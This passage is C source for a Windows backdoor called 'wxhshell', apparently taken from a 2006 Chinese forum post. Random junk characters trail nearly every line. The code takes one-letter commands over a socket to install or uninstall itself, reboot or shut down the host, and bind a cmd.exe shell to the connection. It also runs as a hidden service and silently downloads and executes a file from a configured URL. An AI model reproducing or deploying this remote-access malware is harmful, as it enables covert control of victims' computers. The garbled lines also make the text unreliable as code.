OJ UM Y<5  
    switch(cmd[0]) { =&"Vf!7YR7  
  NOx&`OU+  
  // 帮助 /BT;Q)( &  
  case '?': { kRiWNEw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }(E6:h;}~  
    break; V-=$:J"J'\  
  } 5F2+o#*h  
  // 安装 vkq?z~GA  
  case 'i': { /N%f78 Z  
    if(Install()) uc Z(D|a   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? z=>n  
    else =AL95"cH~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )[oU|!@  
    break; *BXtE8 BU  
    } $%r|V*5  
  // 卸载 6xL=JSi~  
  case 'r': { 0y;&L63>T  
    if(Uninstall()) #j-,#P@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MVt#n\_BZV  
    else 0*3 <}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6j"(/X|Ex5  
    break; +8^9:w0}  
    } [=U7V;5($  
  // 显示 wxhshell 所在路径 20?i4h_  
  case 'p': { =_":Z!_  
    char svExeFile[MAX_PATH]; V2VsJ  
    strcpy(svExeFile,"\n\r"); h!K B%4V  
      strcat(svExeFile,ExeFile); IJ4"X#Q/  
        send(wsh,svExeFile,strlen(svExeFile),0); sTG+c E  
    break; 2zFdKs,  
    } 6S6nE%.3  
  // 重启 t C6c4j  
  case 'b': { FG#j0#|*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c+a f=ac  
    if(Boot(REBOOT)) f{AgKW9"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,dVCbAS@  
    else { a|nlmH"l  
    closesocket(wsh); _9z/>e  
    ExitThread(0); OM4s.BLY  
    } do[K-r  
    break; CCEx>*E6c  
    } ^OBaVb  
  // 关机 c4-&I"z  
  case 'd': { &V=54n=O?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :ZL>JVk  
    if(Boot(SHUTDOWN)) Vj2GK"$v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r`;C9#jZ  
    else { Z$ftG7;P0  
    closesocket(wsh); g~B@=R  
    ExitThread(0); +W;B8^imG  
    } 3$Is==>7  
    break; I.8|kscM  
    } 0'py7  
  // 获取shell \^#1~Kx  
  case 's': { DGd&x^C  
    CmdShell(wsh); (VOKa  
    closesocket(wsh); mlVv3mVyR<  
    ExitThread(0); ^mJvB[ u|  
    break; e< CPaun  
  } "^XN"SUw  
  // 退出 Q}=RG//0*  
  case 'x': { b8]oI"&G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ro<!n>H  
    CloseIt(wsh); eGTK^p  
    break; 8PEOi  
    } g rfF\_[:  
  // 离开 1)YFEU&]  
  case 'q': { J:(Shd'4D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8^R>y  
    closesocket(wsh); 8m1zL[.8g  
    WSACleanup(); z=K5~nU  
    exit(1); i*^K)SI8  
    break; RChY+3,L)  
        } LqUvEq  
  } ;etQ  
  } ttsB'|p s  
8uT6QCf  
  // 提示信息 .|aSGv E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aJ}sYf^  
} pc.0;g N  
  } DY07?x7  
O ,>&w5   
  return; ks r5P~  
} #!5Nbe  
e`~q ;?:  
// shell模块句柄 7S1!|*/ I  
int CmdShell(SOCKET sock) kyjH~mK4  
{ yBe/UFp+  
STARTUPINFO si; _bd#C   
ZeroMemory(&si,sizeof(si)); PR'FSTg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]bR'J\Fwl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :5*<QJuI#A  
PROCESS_INFORMATION ProcessInfo; 6=g7|}  
char cmdline[]="cmd"; vJCL m/}*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [.Y=~)7FB  
  return 0; ho20> vw#  
} = ]@xXVf/  
)/ZSb1!  
// 自身启动模式 ZF t^q /pw  
int StartFromService(void) ..T (9]h  
{ ]OrFW4tiE  
typedef struct r{TNPa6!  
{ x$Oz0[  
  DWORD ExitStatus; )KuvG:+9W  
  DWORD PebBaseAddress; ?oJ~3K g  
  DWORD AffinityMask;  qN QsU  
  DWORD BasePriority; +|H'I j$  
  ULONG UniqueProcessId; !K 9(OX2;  
  ULONG InheritedFromUniqueProcessId; EK#m?O:>  
}   PROCESS_BASIC_INFORMATION; yJL"uleRT  
p)jxqg  
PROCNTQSIP NtQueryInformationProcess; AFFLnLA<L  
}M7kApb>Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sy'>JHx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d J!o/y6  
6,)y{/ENC  
  HANDLE             hProcess; C IDL{i8  
  PROCESS_BASIC_INFORMATION pbi; 4eEs_R  
&\H5*A.HkA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]03ZrZ! PM  
  if(NULL == hInst ) return 0; cR&xl^BJ  
KwHOV$lD;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $G_<YVXcG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :acQK=fe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d0=nAZZ  
a82mC r  
  if (!NtQueryInformationProcess) return 0; q"Md)?5N  
#K l2K4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]]Z,Qu#<-  
  if(!hProcess) return 0; 8bGq"!w-  
8<kme"% s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #~+#72+x7  
asi1c y\  
  CloseHandle(hProcess); X]fw9tZ  
V~_nyjrJM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PsgzDhRv  
if(hProcess==NULL) return 0; K;qZc\q  
PWMaB  
HMODULE hMod; zEB1Br,  
char procName[255]; }j?S?=;m=  
unsigned long cbNeeded; zvf]}mNx  
;Wa{q.)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &~%@QC/  
N>R%0m<e  
  CloseHandle(hProcess); ie(7m| .  
nsT|,O  
if(strstr(procName,"services")) return 1; // 以服务启动 #$w#"Nr9k  
?lK!OyCkc  
  return 0; // 注册表启动 h9I )<_}R  
} X*"K g  
nIjQLx  
// 主模块 RFJ;hh  
int StartWxhshell(LPSTR lpCmdLine) FZ9<Q  
{ ^kr)U8  
  SOCKET wsl; z6lz*%Yi  
BOOL val=TRUE; j;v%4G  
  int port=0; [hL1 PWKs  
  struct sockaddr_in door; !I[n|r"  
7fay:_  
  if(wscfg.ws_autoins) Install(); 32iI :u  
JF*g!sV%  
port=atoi(lpCmdLine); >, E$bm2  
 9+QrTO  
if(port<=0) port=wscfg.ws_port; 5E!m! nBZ  
B`scuLl3  
  WSADATA data; ]M(mq`K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sZ"U=6R  
[kOA+\v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x+cF1 N2.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~vGtNMQg  
  door.sin_family = AF_INET; `z_7[$\~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &HK s >  
  door.sin_port = htons(port); !C#RW=h9  
C._sgO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ak) -OL1  
closesocket(wsl); X~he36-+<  
return 1; XO#)i6}G  
} 9|?Lz  
~(j'a!#Vvk  
  if(listen(wsl,2) == INVALID_SOCKET) { ,)$KS*f"*z  
closesocket(wsl); N1~V +_mM  
return 1;  |{)xC=  
} (nD$%/uK'  
  Wxhshell(wsl); yXA f  
  WSACleanup(); BozK!"R_<  
<83gn :$  
return 0; qb4;l\SfT  
%vtSeJ  
} ;p 5v3<PC  
DBBBpb~~  
// 以NT服务方式启动 K$cIVsfr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g/,Bx!'8p  
{ oqba:y;AR  
DWORD   status = 0; .w_`d'}  
  DWORD   specificError = 0xfffffff; 5TneuGD  
^<\} Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !t Oky  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g&3#22z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uq4s bkP  
  serviceStatus.dwWin32ExitCode     = 0; +MZO%4  
  serviceStatus.dwServiceSpecificExitCode = 0; X8 )>}#:  
  serviceStatus.dwCheckPoint       = 0; bH/pa#G(  
  serviceStatus.dwWaitHint       = 0; 1?RCJ]e5  
8Wx@[!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Om2X>/V%C  
  if (hServiceStatusHandle==0) return; _P<lG[V  
KWJgW{{v  
status = GetLastError(); :6$4K"^1  
  if (status!=NO_ERROR) G>,nZ/,A{  
{ %lJiM`a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6 2`PK+  
    serviceStatus.dwCheckPoint       = 0; NWHH.1|  
    serviceStatus.dwWaitHint       = 0; {!1n5a3" 1  
    serviceStatus.dwWin32ExitCode     = status; g!p_c  
    serviceStatus.dwServiceSpecificExitCode = specificError; G;HlII9x[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2c~?UK[1  
    return; @zynqh  
  } a\69,%!:  
S"^KJUUc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @B'8SLoP  
  serviceStatus.dwCheckPoint       = 0; bsi q9$F  
  serviceStatus.dwWaitHint       = 0; };m7FO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !""!sFx)R  
} zt)PZff/YQ  
3y=<w|4F  
// 处理NT服务事件,比如:启动、停止 QHzX 5$IM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xbrmPGpW$  
{ {vT55i<mk  
switch(fdwControl) ab aQJ|  
{ DV[ Jbl:)  
case SERVICE_CONTROL_STOP: @`;Y/',  
  serviceStatus.dwWin32ExitCode = 0; Pkx(M E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K%c ATA3  
  serviceStatus.dwCheckPoint   = 0; Ac!&j=ZE  
  serviceStatus.dwWaitHint     = 0; Gr#rM/AfCK  
  { @yn^6cE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0"^oTmQN  
  } 9U<)_E<y  
  return; SZ2q}[o`R  
case SERVICE_CONTROL_PAUSE: `H2F0{\og  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CoUd16*"JM  
  break; @CaD8%j{  
case SERVICE_CONTROL_CONTINUE: B~!G lT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]tQDk4&i  
  break;  6I cM:x  
case SERVICE_CONTROL_INTERROGATE: A-7wkZ.H  
  break; *%N7QyO`I  
}; o;VkoYV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v!#`W  
} B!r48<p  
pl#o!j(i  
// 标准应用程序主函数 ^wO_b'@v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UJz4>JF  
{ RC8)f8n  
^KZAYB9C  
// 获取操作系统版本 *)NR$9lGv  
OsIsNt=GetOsVer(); B)DC,+@$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jl> at  
D){"fw+b  
  // 从命令行安装  w{ r(F`  
  if(strpbrk(lpCmdLine,"iI")) Install(); l<aqiZSY  
,dZ H$  
  // 下载执行文件 (]}x[F9l  
if(wscfg.ws_downexe) { cPx ~|,)l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d7 gH3 l  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5S\][;u  
} wI@zPVY_i  
w(V? N'[  
if(!OsIsNt) { Ql q#Zdru  
// 如果时win9x,隐藏进程并且设置为注册表启动 Lov.E3S6;  
HideProc(); 3%[)!zKv  
StartWxhshell(lpCmdLine); miG; ]-"^  
} -; us12SZ  
else P^b:?%  
  if(StartFromService()) Pu$kj"|q*[  
  // 以服务方式启动 *CH!<VB/  
  StartServiceCtrlDispatcher(DispatchTable); 5y(t`Fmt  
else d(X\B{  
  // 普通方式启动 K#l  -?  
  StartWxhshell(lpCmdLine); 5DkK'tCI9Z  
r;cI}'  
return 0; d^Zo35X  
}
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只看该作者 1 发表于: 2006-10-10
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